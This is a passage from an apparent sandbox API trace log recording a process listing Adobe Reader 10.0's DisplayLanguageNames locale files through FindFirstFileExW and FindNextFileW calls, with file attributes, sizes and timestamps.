nFileSizeLow=0x724e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.uk.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.uk_UA.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6068, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_CN.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x605a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="")) returned 0 [0084.169] GetLastError () returned 0x12 [0084.170] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0084.170] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_AE.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_BH.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_DZ.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_EG.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IN.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IQ.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_JO.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_KW.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LB.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LY.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3d9d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_MA.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_OM.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_QA.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SA.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SD.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SY.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_TN.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_YE.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg.txt", cAlternateFileName="")) returned 1 [0084.170] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg_BG.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs_CZ.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da_DK.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_CH.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7328, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_DE.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7326, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_DE_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el_GR.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el_GR_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_CA.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB_EURO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, 